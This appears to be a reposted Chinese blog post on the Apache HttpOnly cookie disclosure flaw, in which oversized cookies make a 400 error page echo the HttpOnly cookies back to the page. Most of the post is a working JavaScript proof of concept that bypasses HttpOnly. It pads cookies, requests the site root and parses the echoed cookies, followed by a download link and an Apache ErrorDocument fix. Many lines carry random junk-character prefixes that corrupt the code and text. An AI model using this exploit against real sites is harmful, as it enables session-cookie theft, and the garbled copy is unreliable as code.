Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。

用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:

6 k/ q9 W0 N# x4 ^! s& w/ ]% M
// http://www.exploit-db.com/exploits/18442/
, T+ E+ v8 Q' }+ i! a& _8 r( \+ O( afunction setCookies (good) {
// Construct string for cookie value
var str = "";
9 F$ y6 Q( P6 c' Z/ k0 I1 d4 ofor (var i=0; i< 819; i++) {
+ J2 D1 Q) f2 d% q# Z) R/ F. K# zstr += "x";
}
! S5 v  Z8 U. Y. U// Set cookies
) A& S" x4 T2 Bfor (i = 0; i < 10; i++) {
+ b! U! ?7 s& u0 o// Expire evil cookie
if (good) {
  D3 w2 }) x" W7 _var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
) m8 j" n3 F  M+ selse {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
( M8 d' N" \9 H9 SsetCookies();
function parseCookies () {
$ Q$ x7 A% L4 W# v* {$ L: ivar cookie_dict = {};
// Only react on 400 status
" S1 Y* w  W, U! Q5 q$ |if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
7 z; R3 D1 R$ `+ Bif (content.length) {
// Remove Cookie: prefix
) c. n2 k! U7 i8 h) m) Lcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
% Y& m: o7 j0 H3 }- V6 Z* r- B- |// Add cookies to object
' Q" u+ q. {5 l7 M1 O; cfor (var i=0; i<cookies.length; i++) {
& y2 F! V3 _5 J! A0 dvar s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
9 ]# M7 q8 b) k% Z2 `; O}
5 `' O( {  O+ q}
// Unset malicious cookies
setCookies(true);
  a  n4 y7 }! ^$ B, |0 Jalert(JSON.stringify(cookie_dict));
3 ~4 N4 r9 _0 H2 L# T! a}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
6 `& H( e) k* u1 P$ ^5 x% V2 y3 \xhr.open("GET", "/", true);
xhr.send(null);
* b2 M. v2 W$ |( s9 ^$ Z}
6 [$ k$ Q, e- A6 @; t+ x) W9 V0 ymakeRequest();

4 z- s$ l6 i4 g0 G. @你就能看见华丽丽的400错误包含着cookie信息。

; k# `% C' }* {( [+ S4 W下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#

修复方案：
5 ?' F1 E2 e- G! \- J; b  Y1 s
8 |- k; S& q* p6 \6 f. QApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

In the event of a problem or error, Apachecan be configured to do one of four things,
: t/ D* ~7 u. O2 j1 X; V6 e5 _
9 O: \4 F4 _- f4 {1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
! L+ C5 N5 X- z8 P! Q2. output acustomized message输出一段信息
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
  X$ K/ w* e+ F# a2 {% t4. redirect to an external URL to handle theproblem/error转向一个外部URL
- p) J. W  n1 T3 r& |
& g5 e1 l; h, D经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

8 ]! z0 `$ `1 t( G7 S& @/ L. Z- JApache配置：

0 Q" |6 P2 V; C* KErrorDocument400 " security test"

; `  b; X. o: B1 B! a当然，升级apache到最新也可：）。
9 y6 U+ b9 I. g! [# Q, p+ R
参考：http://httpd.apache.org/security/vulnerabilities_22.html

) {+ \. U/ w+ F" e5 p6 p8 J; o8 E